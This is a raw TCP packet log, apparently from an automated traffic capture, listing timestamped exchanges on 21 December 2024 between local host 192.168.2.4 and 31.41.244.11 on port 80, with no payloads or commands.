                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.619930029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.619954109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.619997025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.620902061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.620944977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.621031046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.621073008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.622078896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.622119904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.622181892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.622226000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.623182058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.623225927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.623239994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.623280048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.624249935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.624294043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.624355078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.624397039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.625406027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.625449896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.625538111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.625580072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.626445055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.626486063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.626652956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.626694918 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.627567053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.627628088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.627672911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.627717972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.628690958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.628808975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.628865957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.629767895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.629889011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.629947901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.630882978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.630958080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.631006956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.632005930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.632051945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.632088900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.633321047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.633368969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.633409023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.634258032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.634305954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.634350061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.634392977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.635330915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.635413885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.635458946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.636496067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.636569023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.636611938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.637470961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.637523890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772278070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772304058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772350073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772372007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772422075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772483110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772603035 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.772650003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.773427963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.773473978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.773830891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.773880959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.774740934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.774785995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.774859905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.774903059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.775825024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.775871038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.775938988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.775983095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.776864052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.776907921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.776990891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.777034044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.777923107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.777966022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.778067112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.778110981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.779122114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.779165983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.779246092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.779289961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.780184984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.780232906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.780447006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.780491114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.781249046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.781301022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.781383991 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.781429052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.782150030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.782192945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.782233000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.782278061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.783217907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.783281088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.783353090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.783392906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.784375906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.784424067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.784696102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.784749031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.785517931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.785562992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.785696983 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.785742044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.786566973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.786611080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.786688089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.786731958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.787667036 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.787708998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.787724972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.787765026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.788958073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.789004087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.789221048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.789266109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.789973021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.790018082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.790065050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.790107012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.791004896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.791049004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.791086912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.791131020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.792087078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.792133093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.792184114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.792227983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.793179035 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.793226957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.793293953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.793339968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.794446945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.794466019 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.794496059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.794519901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.795418978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.795465946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.795506954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.795551062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.796509027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.796634912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.796681881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.797657013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.797708988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.797753096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.797796011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.798753023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.798791885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.798858881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.798903942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.799835920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.799881935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.799977064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.800019026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.800959110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.801002026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.801048040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.801095009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.802047968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.802093029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.802165031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.802212000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.803162098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.803205013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.803210020 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.803253889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.804264069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.804307938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.804380894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.804423094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.805380106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.805419922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.805463076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.805505991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.806490898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.806531906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.806603909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.806646109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.807609081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.807652950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.807698011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.807740927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.808685064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.808728933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.808743000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.808783054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.809798002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.809843063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.809896946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.809943914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.810908079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.810949087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.811011076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.811053991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.812041998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.812083006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.812103987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.812146902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.813127041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.813170910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.813216925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.813261986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.814223051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.814280987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.814325094 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.814363003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.815356016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.815402985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.815516949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.815562010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.816454887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.816504955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.816541910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.816658974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.817558050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.817599058 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.817691088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.817733049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.818655968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.818697929 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.818764925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.818806887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.819752932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.819791079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.819863081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.819901943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.820885897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.820928097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.821063042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.821105957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.822011948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.822053909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.822097063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.822139025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.823149920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.823190928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.823227882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.823271036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.824201107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.824245930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.824251890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.824285030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.825371027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.825414896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.825509071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.825552940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.826417923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.826459885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.826527119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.826570034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.827543020 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.827589989 CET4976080192.168.2.431.41.244.11
